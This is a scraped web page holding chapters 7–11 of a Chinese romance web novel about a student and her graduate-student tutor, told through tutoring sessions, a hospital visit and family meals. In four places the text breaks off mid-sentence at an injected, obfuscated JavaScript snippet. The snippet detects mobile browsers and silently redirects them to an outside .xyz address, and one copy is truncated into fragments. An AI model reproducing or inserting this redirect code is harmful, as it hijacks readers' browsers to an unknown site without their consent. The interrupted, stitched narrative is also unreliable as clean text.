谭茗和越成涛当初结婚并非因为感情多好,而是因为条件合适。刚结婚不久还好,即便争吵也会避开女儿,后来时间一长,大吵小吵不断,就什么都顾不上了。他们也想过离婚,但利益分割起来太麻烦,很难双方都满意,于是便凑合着,比起夫妻,两人现在的关系更像同事。 越灿也早已习惯他们这样,有父母的前车之鉴,她早早认定了一个真理:感情绝对不能凑合,否则还不如一个人孤独终老。 又一个周六傍晚,谭茗和越成涛再次因为公司的事务吵了起来,没完没了。 正由于家里这二位企业家日常随地大小吵,越灿才慢慢变得厌倦回家,在家里待着实在又烦又闷。 不想待在家里的时候,她莫名就想到了薄晚照…… 考虑片刻,她拿起手机发了条微信出去。 【越灿】以后周末补课我去你那,行吗? 薄晚照看到消息是在半小时后,她在便利店买了个干面包当晚餐,她回了越灿三个字:为什么? 越灿回复及时: —不想在家里 —我会跟我妈说清楚情况 薄晚照猜她又是跟家里闹别扭了……… 越灿许久都没收到回复,她托腮想,薄晚照应该不太愿意,毕竟那么不想被别人靠近的一个人…… 那晚收留自己,纯属情况特殊。 想到这儿,越灿在对话框里打出一串“我随便说说,不方便就算了”,她刚准备按发送,这时看到对面回复了: 【bwz】好 8. 第 8 章 “灿灿灿灿,快过来。” 课间休息,越灿走出教室,便看见钟然站在走廊角落,跟做贼似的,鬼鬼祟祟朝自己招手。 越灿走了过去,“什么?” “给你看个好东西。”钟然拿出藏起来的手机悄悄给越灿看,化身尖叫鸡,“是不是特甜特好磕!啊啊啊啊啊啊啊磕死我了……” 是一对女女情侣的恋爱vlog,钟然最近迷上了刷这个,一天到晚嗑生嗑死的。画面里两个女生各种暧昧,牵手拥抱,互喂蛋糕,眼神拉丝。 越灿对谈恋爱这件事不感冒,她瞥瞥钟然,“你能不能换个人分享,每次都找我。” “我还能跟谁分享?就你知道我性取向。”钟然有苦难言,每次刷个小视频都藏着掖着,生怕被人发现,怕一不小心就把柜门踹开了。 “你就不想谈甜甜的恋爱?”钟然话题一转,她原以为青春期大家都会蠢蠢欲动,存点儿小心思,但越灿不然。 越灿敷衍回着她的话:“谈恋爱很有意思?” “当然有意思了,可以和女朋友亲亲抱抱,想想就甜。” 越灿接不上话,一说到女朋友,傻白甜又开始激动了。 这时又有两个女生走了过来,都是“课间偷玩手机联盟”的人,钟然赶紧退出视频,融入组织的唠嗑闲聊。 班里有不少女生在追女团,这是课间可供消遣的热门话题。 欣赏美女属于钟然的专业领域,她很快和另外两个女生聊成一片,还不忘拉着在一旁晒太阳的越灿入股,“你最喜欢哪一个?” 越灿有点为难,她怀疑自己有脸盲。 “灿灿,你快看看,这个像不像你的那位家教姐姐?”钟然放大了屏幕上的图片,兴致勃勃给越灿看。 薄晚照…… 越灿探过头,瞅了瞅屏幕,“像吗?” “感觉气质有点像,都好温柔。”钟然一本正经地分析着,“不过好像你家那位更好看点。” 越灿跟着飘出一句:“我也觉得。” 嗯?钟然发觉不对劲,目光从手机移到越灿脸庞,跟发现了新大陆一样,“越灿,我第一次听你夸人好看……” 钟然的反应未免太大了些,越灿自己都没注意到这点,“有吗?” “有,认识这么久,我从来都没听你夸过谁好看,我还好奇你喜欢什么类型来着?”钟然笑嘻嘻的,一副恍然大悟的模样,“原来如此,我现在懂你的理想型了。” 越灿:“……” 怎么就变成理想型了? - 一周七天,七天都是学习。 越灿感觉自己快要被学业压得喘不过气,盼着高考快点结束。她跟谭茗说了周末想换个“场地”补习的事,并且再三保证会认真复习。 谭茗答应了,反正只要宝贝女儿肯学习,她就阿弥陀佛了,况且薄晚照不是别人,把越灿交给薄晚照,她百分百放心。 南夏彻底入春了,今年的雨水比往年少,难得晴朗的日子偏多。 越灿每个周末还是跟薄晚照朝夕相处,只不过地点变成了梧桐巷的出租屋。课程任务没有变化,依旧是上午两个课时,下午两个课时,一直到傍晚才结束。 虽然学习依然让她抓狂,但抓狂程度相对减轻许多,不用在家听父母争吵,也不用听胡姨唠叨,休息时还能在巷子里吸吸小猫,心情大好,以至于补习时薄晚照提醒她“认真点”,她都觉得有点顺耳好听。 每到中午谭茗会安排人送午餐过来,两人坐在小方桌前一起吃。吃完中饭,越灿通常会忙里偷闲,去巷子里溜达透气,晴天就晒太阳喂猫,雨天就在屋檐下喂猫。 因为时常投喂,越灿跟几只流浪猫很快熟络起来,每次周末过来,她都会特意带些零食。 次数多了,那些小猫都会提前在巷子口蹲点等人,而薄晚照每次听到屋外的猫叫声,也很容易猜到是越灿来了。 这天午间又是晴朗,越灿照旧在巷子里逗猫,她偶尔抬头,透过一楼的窗户往房间里看,隐约能瞧见薄晚照坐在桌子旁,聚精会神地忙碌。 她发现薄晚照真是神人,从来都不休息,不上课的时候,便忙其他工作,她没见过这么压榨自己的人…… 越灿听谭茗提过,薄晚照很早就独立了,不仅要靠自己挣钱念书,还要补贴家用。她知道薄晚照不容易,吃过很多苦,但她对薄晚照的家庭状况并不了解,好像是薄母生病了需要钱,至于更具体的,她就不清楚了,薄晚照也从来不会提及。 房间里的人也往窗外看了看。 越灿与之撞上目光,一瞬间有点儿别扭,她低下头,继续没事人似的笑着撸猫。 下午薄晚照又连续讲了四小时的题,嗓音听着比平时都要沙哑疲惫。 越灿转头时盯了盯她脸庞,看着也太憔悴了,她顺嘴问:“你昨晚没休息好啊?” 薄晚照声音低哑:“看题,不要看我。” 越灿哑了下,好心当作驴肝肺,她懒懒回了句:“发现你长得好看。”说完她留意着薄晚照的表情,学累了,莫名想逗一逗正经人。 薄晚照回她:“正经点。” 越灿一张小嘴继续叭叭:“我觉得你好看,怎么就不正经了?” 薄晚照这时索性转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744196|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,将自己整张脸面朝着身边的人,她停顿了好几秒,都没有说话。 两人相隔不远,越灿清晰望着她眉眼,不知道这是什么意思,“……怎么了?” “现在看够了吗?” 薄晚照问她,开口依旧温温和和的。 越灿稍怔,一时竟不知道接什么话。她怀疑自己被钟然洗脑得太到位了,竟然觉得薄晚照这么说话时,有点儿撩。 薄晚照提醒 :“看够了继续做题。” 越灿:“……” 不愧是淡定姐,服气。 一直到下课,因为有题没讲完,薄晚照拖了十几分钟才结束。越灿准备离开,离开前她又叫了声,“薄晚照。” “什么?” 越灿看着她,“你脸色真的好差……” 薄晚照云淡风轻,“没事。明天见。” “你确定没事?” “嗯……” 听到薄晚照这么说,越灿犹豫了会儿,拎起书包往外走,家里安排的车来接,但车只能开到巷子口。 黄昏时分,越灿踏着余晖往巷口走,她步子很慢,几分钟过后,她还是转了个头,又原路返回了。 薄晚照状态是不太好,硬撑了一下午,没想到腹痛越来越剧烈。她知道这情况不对,要马上去趟医院…… 这时候又响起敲门声。 薄晚照警惕心重,先问了问:“谁?” 外面传来清亮熟悉的声音:“是我,越灿。” 薄晚照这才开了门,“忘拿东西了吗?” 越灿瞧见薄晚照脸色愈加苍白,额头上还冒了细细一层汗,她的直觉是对的。她直接说:“我陪你去医院。” 薄晚照:“没事,不用……” 越灿打断她的话:“什么不用啊,你现在看起来很不好。” 薄晚照还想说什么,剧痛让她弯了弯腰,身子一虚。越灿立即伸手扶了扶,将人搂住。 被人抱住,薄晚照的第一反应是拉开距离,一方面她内心渴望这种亲密接触;但另一方面,她又十分抗拒如此…… 越灿轻声跟她说:“走了。” 薄晚照却仍然坚持,“我自己可以去,你回去吧,松开我。” 越灿并不松手,还是将人扶着,她不明白薄晚照为什么这么抵触别人的关心,宁愿自己咬牙逞强……“不要,我跟你一起,不然我给我妈打电话,让她过来好了,总不能让你一个人吧。 ” “越灿……”薄晚照蹙眉,“我说了不用,你回去。” 越灿望着她眼睛,不禁反问:“凭什么只能你对我好,不能我对你好?” 9. 第 9 章 越灿觉得这样也挺不公平的。 所有人都认为薄晚照温柔随和,但越灿不这样认为,她觉得薄晚照才是最高冷不可接近的那类人。 她起叛逆心理了,薄晚照不许她关心,她偏想要关心。凭什么她让薄晚照靠近了,薄晚照却不许她靠近…… 薄晚照咬唇,疼痛让她无暇继续争论,她轻轻靠在了越灿身上。 越灿手臂在她腰间环了环,宽松衣衫下的身体过分纤瘦,上次她牵住薄晚照手腕时,也是这种感觉。 …… 巷口,等待许久的司机看到越灿扶着薄晚照过来,“哎哟,这是不舒服吗?” 越灿说:“先去医院。” 司机导航去了最近的一家医院,不到二十分钟的车程。 坐在后座,越灿时不时看薄晚照一眼,虽然薄晚照始终一声不吭,但她明显能看出来薄晚照的状况很糟。有必要连生病难受都这样淡定吗? 路上没塞车,十几分钟后到了急诊部。 越灿开门下车。 司机回头看看,有点担心,“你们两个没问题吧?”越灿怎么看都不像是能照顾人的主儿…… “没问题。”越灿甩出一句。 越灿的确不会照顾人,她从来都是被照顾的那方,也没什么生活常识。不过去年她吃坏肚子,来过一次急诊,大致知道是怎么个流程。 挂了个急诊号,没多久就轮到了。越灿陪薄晚照进去诊室,医生先让说明症状。 薄晚照嗓音虚弱,不紧不慢形容着痛感,描述准确到位,连疼痛位置都能精确到脐上几寸。 越灿难以置信,这时候居然都能保持理智冷静,她都听呆了……念书时是优秀学生,看病时是优秀病人是吧? 根据描述,医生很快就有了诊断,初步判定急性胃炎,开了几个单子,让两人先去做检查。 越灿拿着检查单有点迷糊,她路痴,方向感基本为零,每次导航都要先走几步看箭头的移动方向,才能知道自己有没有走对。不过她社牛又嘴甜,倒是弥补了这方面的不足,一口一个“姐姐阿姨”询问着,问题不大。 等检查结果出来,医生诊断得八九不离十。 “……你平时饮食一定很不规律吧?还有严重贫血,这个问题以后得重视,不能因为年轻就随意糟蹋身体,到时候造成不可逆的损伤,后悔就来不及了……” 越灿十分赞同这位大夫的话,薄晚照根本就是在压榨自己的身体,她没见过这么拼的人。 听医生交待完,薄晚照说了声“谢谢”。 除了药单医生还开了注射单。 输液室里没什么人,吃完药后薄晚照状态已经好了许多,但点滴一时半会打不完,她看向越灿,“你回去吧,今天谢谢你。” 越灿坐在她旁边,留一个生病的人独自在医院,怎么也不合适吧?她说:“我陪你呗。” 薄晚照:“不用了,已经好多了。” 越灿还是不打算走,她也不争,直接拿出包里的iPad开始做题,“我又不耽误时间,正好不会的问你。” 薄晚照又问:“没吃晚饭你不饿?” 越灿:“最近长胖了,正好减肥。” 薄晚照安静,看了看越灿低垂的侧脸,她唇边微抿着,有点倔。 尽管越灿总是懒散,但脾气确实挺倔的,只要是她认定的想做的,从来没人能说服她,谭茗常吐槽她牛脾气,油盐不进。 越灿心不在焉做着题,她都怀疑自己脑子进水了,她一学渣在医院刻苦刷题?人设不符。 算半天没算出个头绪,越灿直接在屏幕上写了个“c”,摇摆不定就选“c”,钟然传授给她的口诀。 “错了,选a。” 越灿听到,抬起脑袋看看薄晚照。 薄晚照看着她,细声道:“这个类型的题你已经错三遍了,所以下午我教你的时候,你又走神了。” 越灿:“……” 魔鬼。 薄晚照又道:“继续。” 越灿:“……” 魔鬼中的魔鬼。 吊完水之后,越灿好人做到底,送了薄晚照回去。家里的司机已经先走了,两人叫了辆网约车,她原以为薄晚照又会拒绝一番,但薄晚照居然没多说其他。 下车后,越灿看到一家连锁餐厅,就跟薄晚照说:“吃点东西吧?” 薄晚照轻轻挑眉,“你不是要减肥?” 越灿:“突然想从明天再开始。” 两人一前一后走进餐厅,薄晚照这几天都只能吃流食,点了份粥,越灿点了份双拼馄饨。 谭茗给越灿打了个电话,问情况怎么样,越灿晚上跟谭茗说了陪薄晚照去医院的事。 越灿说已经没事了,自己吃完宵夜就回去。谭茗刚好这时候下班,说顺道来接她。 吃完宵夜又在餐厅等了会儿,越灿看到谭茗的车停到路边,才跟薄晚照一起走出去。 “妈。”越灿远远叫了声。 谭茗风风火火走过来,“晚照,不严重吧?医生怎么说?” 薄晚照浅笑着,“不严重,没什么事,以后注意饮食就好了。” “你呀,要好好照顾自己,努力也要有个度。” 薄晚照点头,“谢谢阿姨关心。” “你还跟我客气什么。”谭茗又看向越灿,伸手摸摸脑袋,满脸笑意,“我们磨人精今天总算懂事了一回。” 越灿说:“你夸我还是损我。” 谭茗:“夸你啊。” 大部分时间,母女之间的氛围都还不错,谭茗不是传统意义上的严母,否则也很难养出越灿这种性格的女儿。 “晚照, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744197|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天就不让越灿过来补课了,你好好休息一天,别太累了。” 薄晚照:“今晚休息一下就好了,没什么大事,您别担心。” “你这孩子就是太拼了,分点给越灿多好。”谭茗说笑,“听阿姨的,明天你还是休息。” 越灿感觉自己又无辜躺枪了。 “阿姨,那我先回去了,再见。” 看到薄晚照转身独自离开,越灿还是叫住了她:“薄晚照。” 薄晚照回身。 越灿想到傍晚时她难受的模样,挺吓人的,“你一个人没问题吧?” “没事,谢谢。” 每次薄晚照说“谢谢”,越灿都觉得她是在跟人拉开距离。 薄晚照离开后,谭茗领着越灿上车,“跟你说过多少次了,要叫‘姐姐’,你刚刚多没礼貌。” 越灿:“也没比我大很多吧。” “大五岁还不够你叫姐姐?”谭茗戳戳越灿脑门,“亏人家还把你当妹妹照顾。” 晚间回到家之后,谭茗特意跟胡姨交待,“明天辛苦你做一些养胃有营养的粥,送到晚照那边,不要太稠,稀一点好消化。” “生病了?” “嗯。” “谭总你真是好心肠哦。” …… 谭茗是最清楚薄晚照情况的人,她想过帮助薄晚照更多,但薄晚照要强不肯接受。薄晚照身上的拼劲和倔强正是她欣赏的点,她也是吃苦过来的人,格外能理解共情。 - 翌日醒来,薄晚照听到一片雨声,天气阴沉沉的。起床洗漱后,她走到客厅,一楼的采光不好,这种阴雨天必须开着灯。 今天越灿不过来,没有补习安排,但薄晚照也没闲着,喝了碗白粥当早餐,然后打开笔记本电脑工作起来。她本科英专,后来考研跨考了工商管理,平时除了带家教挣钱,也接一些翻译的兼职。 房间里除了窗外传来的雨声,就是指尖敲击键盘发出的轻微声响,大概是习惯了周末身边会多上一个闹腾的人,薄晚照恍然觉得今天过分安静了…… 直到九点的时候,她收到微信: 【越灿】我今天能过来吗? 薄晚照想,或许是谭茗不想耽误越灿补习,问自己今天能不能上课。 她回复:可以。 没多久,就响起了两下敲门声。 薄晚照打开门时,越灿收伞站在门口,额前的刘海被风吹得有些乱糟糟。 “进来。” 越灿跟着进屋,雨天房间里的空气潮湿。 “要休息下再上课吗?”薄晚照照常这么问,然后走到桌旁整理着自己的东西。 越灿将伞放在门口,“不是说今天不上课?” 薄晚照手里的动作停了停,她回头注视着越灿,徐徐问:“那你过来干什么?” 10. 第 10 章 越灿说:“过来学习。” 薄晚照不语,只是静静瞧着她。 薄晚照身上唯一不那么温和的,就是眼神,带了韧劲和锋芒,所以她尽管身形文弱,却不给人唯唯诺诺的软弱印象。 这反应的潜台词就好像在说“真的假的”,越灿解释:“家里没有学习氛围。” 薄晚照还是没表示什么。不想在家,又把自己这里当临时避风港了。 “你这是歧视。”越灿振振有词,“我们学渣就不能努力学习,天天向上,拥抱美好明天吗?” 薄晚照听她说完后,温润点头:“能。” “……” 薄晚照又问:“我这有学习氛围?” 越灿一本正经回答:“你身上自动散发出的学习氛围,一个人能抵一个班。” 薄晚照淡笑了下。 这笑意味不明,薄晚照常这样笑,越灿感觉只是种礼貌性敷衍,并没有过多含义。显然薄晚照误会了她的意思,以为她是过来上课,才答应的。 “你如果不方便那就算了,我走了。”越灿弯腰准备去拿地上的雨伞。 “没有不方便。” 薄晚照转身继续整理桌面。 越灿手中的雨伞又滑下,她瞧了瞧眼前的背影,发现薄晚照其实…… 挺纵容自己的。 甚至有点无条件纵容。 越灿蹭了半张书桌做卷子,似乎习惯了,学习时身边不坐着位大学霸监督,她就感觉缺点学习气氛。 薄晚照继续做着翻译工作。 试卷上密密麻麻的英语单词看久了,脑袋发晕,越灿无聊瞥一眼桌子对面,薄晚照除了偶尔喝喝水,就没休息过。 越灿视线又落在她握着水杯的手上,手指细细长长,由于过分清瘦,手背上淡青色的血管明显,还有一小片的乌紫,是昨晚扎针后留下的痕迹。 薄晚照抿了口水,放下水杯,她盯着电脑屏幕,薄唇动了动:“又走神了,认真点。” 面对及时的人工提醒,越灿语塞,对面的魔鬼能一心二用啊。 薄晚照低着头:“有不会的要问我。” 越灿:“暂时没有。” 薄晚照:“不要嘴硬。” “……” 越灿写了半张英语卷子,见薄晚照身体还没完全恢复就这么拼,“你今天不休息下?” 薄晚照:“不用,已经好了。” 越灿腹诽,到底是谁的嘴硬啊。 中午十二点多,照旧有人送餐过来,其中一份显然特意是给薄晚照准备的,营养易消化。 越灿去厨房洗手,准备吃饭,回到餐桌时发现薄晚照已经帮她盛好了一小碗菌菇鸡汤。 薄晚照:“先晾会儿,小心烫。” “嗯。”越灿在桌前坐下,垂头看看手边正热气腾腾的鸡汤,虽然薄晚照依然是不冷不热式的照顾,但她有时觉得薄晚照的行为,简直比对象还贴心…… 每到周末早上,越灿都准点起床出发补习,谭茗看她这么配合,连一句埋怨都没有,眼神里流露出担心,“你……” 越灿站在玄关处换鞋,“什么?” 谭茗关心问:“你最近没受什么刺激吧?” 越灿:“能受什么刺激?” “你怎么突然这么用功?”谭茗打量着宝贝女儿,以往补课越灿都是磨磨蹭蹭,各种找借口,甚至装病,就为了少学半天。 “马上要高考了抓紧点,不是你跟我说的?” 谭茗继续诧异,只是说:“你要有什么事,一定要跟妈妈说啊。” 越灿无言以对了。她最近的确太热爱学习了点,一到周末还主动往薄晚照那跑……她想,可能是因为跟薄晚照待一块儿,比在家待着要舒服很多。 她也不明白为什么跟薄晚照待一块会觉得舒服自在,明明除了讲课,薄晚照几乎不跟她闲聊。 午间薄晚照接到个电话,她起身走到室外才接听。 越灿感觉她神神秘秘。 春日阳光明媚又暖和,午餐后休息,越灿坐在树下的旧长椅上晒太阳。她瞧见薄晚照还在打电话…… 距离挺远,越灿听不到她在说什么,但看到她跟对方说了很久。 薄晚照居然能跟人聊这么久,难道是对象?不过看她打电话的神情状态,又不像是。越灿走神想着,薄晚照要是跟人谈恋爱,那肯定会比对自己更温柔吧,她莫名脑补起薄晚照谈恋爱时的模样—— 难度有点大,不太想象得出。越灿发现自己思维过于发散,乱七八糟想多了。 又过了几分钟,薄晚照挂断电话,她转身时被一只小猫拦住,小猫还冲她软软地叫。 越灿瞅见这一幕,觉得有意思,大声说:“它跟你撒娇呢。” 显然薄晚照看着不吃撒娇这套,即便是人见人爱的小猫。 薄晚照朝树下望去,看见越灿坐在那笑,整个人悠闲放松,懒洋洋的。 “要不要来晒太阳?”目光撞上,越灿寒暄似的,顺口邀请了一下。 也仅仅是顺口说一下,因为她觉得薄晚照会回答“不用”,然后像往常一样回屋闷头工作。 结果…… 薄晚照看了看她,然后迎着阳光走近,在她身旁坐下了。 越灿意外,直到薄晚照坐下来,还盯着她。 薄晚照也看她,“我不可以晒太阳?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744198|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 越灿:“可以,公共资源。” 也太一反常态了,越灿不禁在心里揣测,这是心情不好么?因为刚刚那通电话?什么人打来的?遇到什么事了? 如果直接问这些,她肯定薄晚照什么都不会吐露。薄晚照就跟情报局培训出来的一样,浑身秘密,守口如瓶。 两个人之间隔着半个人的距离,安静沐浴阳光。小猫也跟过来了,走到她们腿边。 越灿问:“它叫什么名字?” 薄晚照:“流浪猫能有名字?” 越灿随口赐名,弯腰跟小猫说:“你叫脏脏包好了。” 薄晚照垂眸看她,“为什么?” 难得闲聊起来。 越灿拿起手边的一个纸袋,慵懒说:“今天的甜点是脏脏包。” 薄晚照:“……” 跟往常一样,薄晚照不会主动聊天太多。越灿余光看看她,想了想,问她:“你要吃吗?” 薄晚照:“不用。” 越灿递了个过去,“有两个,一人一个。好吃的,不骗你……” 最终被接过。 越灿拆开包装吃了起来。 薄晚照也是,吃得小口。 连脏脏包都能吃得“优雅得体”的人,越灿觉得除了薄晚照,找不出第二个了。 大概是这天气太适合聊天,越灿总想说点什么,“薄晚照。”最近她叫这个名字的频率有点高。 薄晚照用熟悉的口吻应着:“嗯?” “你对我好,是因为我妈?”越灿偏过头问,这个问题她好奇好久了。 薄晚照显然不属于贴心的那类人,可薄晚照却总是在对她关照。她认识薄晚照算久了,从没见过薄晚照对别人这样照顾,在薄晚照这,她一直是“特例”般的存在。 越灿等着薄晚照回答。 但薄晚照沉静,良久都没回答…… 默认的意思?越灿觉着自己问了一个答案明显的问题,这种事心照不宣就行了。她低头又咬一口脏脏包。 薄晚照看着她,提醒:“鼻尖。” 越灿没反应过来,直接用手摸了摸,结果可可粉擦出更狼狈的痕迹,直接弄花了鼻子。 薄晚照瞧见,无奈勾了勾唇边,她探身凑近,用指尖帮眼前的人轻轻擦着鼻尖。 越灿跟被按下什么开关似的,瞬时一动不动,极近地看清她眼睛,还有她嘴角的似笑非笑。 指尖摩挲得很痒,酥痒。一直到薄晚照的手指移开,那种奇怪的感觉仿佛还停留在鼻尖,让她忽略不了。 薄晚照嗓音轻柔:“好了。” 越灿僵了僵,今天太阳太晒了,弄得脸颊和呼吸都有些热。 11. 第 11 章 四月中旬,二模成绩出来了,班里沸沸扬扬,有人欢喜有人愁。 越灿一向不太在意成绩,但这一次她比往常稍稍积极些,怎么说也是吃了一堆补习的苦。 她看到成绩单后,小小惊讶了下,脑海冒出的第一个想法:薄晚照那个魔鬼,真的有点东西。 突然有人感叹了一声:“越灿,你成绩这是坐火箭了?” 接着好些人都围过来看,“你是不是每天背着我们学习啊?” “靠,姐妹你怎么做到的?” 越灿被前后左右桌围着叽叽喳喳,寒假和周末的魔鬼补习没白费,排名都上升到了班级中上游了。她分在普通班,虽然是中上游的排名,但分数也就那样,不过跟上学期的自己比,已经是个奇迹。 钟然也立马挤了过来,瞳孔地震了,“你来真的?!你之前说寒假一天学十二个小时,我还以为你唬我的。灿,你就这么水灵灵的抛下我了?以后我不能拿你比烂了。” 越灿:“很遗憾,你不能了。” 钟然苦了苦脸,每次因为成绩不好被家里批,她总会来一句“越灿考的比我还少”,拉个垫背。 “行,我因为你心碎了。” 钟然也就嘴上开玩笑说着心碎,实际上好姐妹进步她开心得很,比当事人还嘚瑟。 下午开总结会的时候,班主任唐晓筠还特意点名说了这事,越灿头一回被点名是因为表扬。她习惯了当个懒散学渣,这种情形让她怪不适应的。 傍晚六点下课,人群蜂拥至食堂。 通常大家的饭搭子都比较固定,越灿的饭搭子除了钟然,还有隔壁重点班的洛扬。洛扬是三人组里唯一的好学生,钟然的发小,越灿也是因为钟然才和她熟悉起来。 “洛扬,我跟你说,我们灿灿出息了。”钟然碰到人就开始眉飞色舞地唠着。 “怎么了?” “你知道她进步有多大吗?” …… 钟然聊得热火朝天。 越灿显得安静,她摸了摸口袋里的手机,在考虑要不要给薄晚照发微信说成绩的事。 她犹豫好一会儿了,最后没发。 就自己这点分数,都不够人家大学霸看的,没什么好发的。而且就算发了,也不会得到多热情的夸奖,她都能猜到薄晚照会怎么敷衍回复。 钟然瞧越灿一声不吭,“灿灿,你发什么呆?” 越灿回神,“没什么。” 钟然:“你怎么都不激动啊。” 越灿:“还要怎么激动?” “你这回考这么好,总该庆祝一下吧。我们周末出去玩?或者来我家玩游戏,我爸妈都不在家,看电影也行,我最近找到一部好看的电影……”说到电影时,钟然还跟越灿使了个眼色。 越灿会意,不用说,肯定是les电影。由于洛扬还坐在一旁,她要帮钟然保密不能直说,只好暗示性地问着:“是那什么电影?” 钟然语塞,什么叫那什么电影,搞得好不正经。 好学生洛扬看她们神神秘秘的,于是问:“什么电影?” 洛扬比起她俩来,话要少很多,大部分时间都是听越灿和钟然不停叨叨,她偶尔加入一两句吐槽。 钟然立马强调:“正经电影。” 洛扬眼神更微妙了,“正经电影要藏着掖着?” “说了正经的,信不信随你。”钟然嘀咕,虽然她跟洛扬打小认识,但没敢在洛扬面前出柜。洛扬是老古董,要是知道了她是弯的,怕是会连夜跟她撇清关系。 钟然又问越灿:“行吗?” 越灿婉拒了:“我周末要去补课。” “请一天假呗,你现在已经够努力了吧,放松一天怎么了。”钟然分析着,“而且你二模考这么好,你妈肯定给你批假,说一声就行了。” 要是说了,谭茗的确会答应……但越灿却迟疑着,没接钟然的话。 在休息和补习之间选择,这居然都能犹豫?钟然狠狠震惊:“越灿,你不对劲。” 越灿:“嗯?” 钟然盯着越灿的脸,“你补课还补上瘾了?现在一周不补浑身不自在是吧?” “洛扬,”钟然又扭头问好学生,比较权威,“补课这玩意会上瘾吗?” 洛扬挑眉表示:“可能。” 钟然:??? 越灿慵懒说:“突然想好好学习,重新做人,不行吗?” “你说的是人话吗?我怎么听不懂……”钟然想了下,如果自己突然这么努力学习,那一定是因为爱情的力量,她打量着越灿,“我说,你是不是看上哪个学霸了,受刺激了?” “你一天能想点别的吗?”越灿也吐槽她,“这么恋爱脑,以后小心被骗。” “说得很对。”洛扬即刻表示赞同,她看看钟然,点评说,“你一看以后就容易被骗。” 洛扬话少,但毒舌,再加上认识钟然多年,总能精准拿捏钟然。 钟然被刺激到了,不服气:“我这种叫纯爱战神,怎么就恋爱脑了?” 越灿,洛扬:“……” 钟然放弃挣扎,“行吧,那我一个人看。” 洛扬这时瞥钟然一眼,“你怎么不叫我?我不是人?” “你好学生,我怕耽误你学习。” “好学生也要休息。” “也行。”钟然盘算着只能换部电影看了,“但你不许趁机给我补课。” 越灿边吃边笑,跟朋友在课间闲扯些没营养的话题,是高三生活里为数不多的乐趣了。 - 成绩出来以后最开心的是谭茗,越灿的进步远超她预期,她本来都没抱什么期待。 因为这件事,谭茗周六还特意抽出时间,亲自下厨,叫上薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744199|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚照一起过来吃饭。 所以周六越灿没去梧桐巷,而是在家补习。 到了中午,越灿溜达进厨房,破天荒看见谭总亲在那烧菜,就差哼小曲儿了,“你至于这么开心吗?” 谭茗回头看她:“怎么不至于?你难得让我有件开心的事,得好好庆祝。” 越灿扁了扁嘴,夸就夸,怎么还阴阳怪气的。 “去洗手,准备吃饭了。” 谭茗中午这顿饭花了心思,胡姨只帮忙打了打下手,一桌子的菜,都是她亲手做的。“已经很久没下厨了,尝尝手艺还在线不?” “阿姨,不用这么客气的。”薄晚照本来说不用请吃饭,但谭茗一再坚持,她再推脱就扫兴了。 “这哪是客气,晚照,说真的这几个月麻烦你了,一直帮阿姨照顾家里这个磨人精。” “哪里,应该的。”薄晚照笑,举起手边的红酒杯,礼貌同谭茗碰了碰。 越灿喝不了红酒,喝的葡萄汁。她瞧了瞧谭茗,“你说就说干嘛损我,我有那么烦人吗?” 谭茗说:“磨不磨人你自己不清楚,上次离家出走,多少人担心你,弄得你姐还大晚上的去找你。” 越灿:“……” “好了不说这个,该夸还是得夸,这次越灿同学进步很多,值得褒奖。”谭茗也跟越灿碰碰杯。 正吃着饭,薄晚照手机震动起来,有来电。她看看屏幕,没立即接通。 “接啊,没事。”谭茗笑说,反正在家自己人吃饭,随意就行。 薄晚照滑动了接听,简单跟对方说了两句,“……我现在忙,微信上说吧。” 越灿抬了抬眸,听着关系挺熟。 谭茗关心问一句:“男朋友?” “不是。”薄晚照淡笑解释,“同学。” 提到这个话题,谭茗顺便多聊了几句,“你平时在学校,追求者应该不少吧?” 越灿注意到薄晚照并没有否认,其实不用想也知道,薄晚照这样的漂亮学霸,就算难追,也一定会有一堆人迎难而上。 谭茗:“研究生都快毕业了,没有谈过?” 薄晚照温声回答:“没有。” 越灿喝了口葡萄汁,这个答案跟她猜想的一模一样,一个都不让别人靠近的人,怎么会谈恋爱。 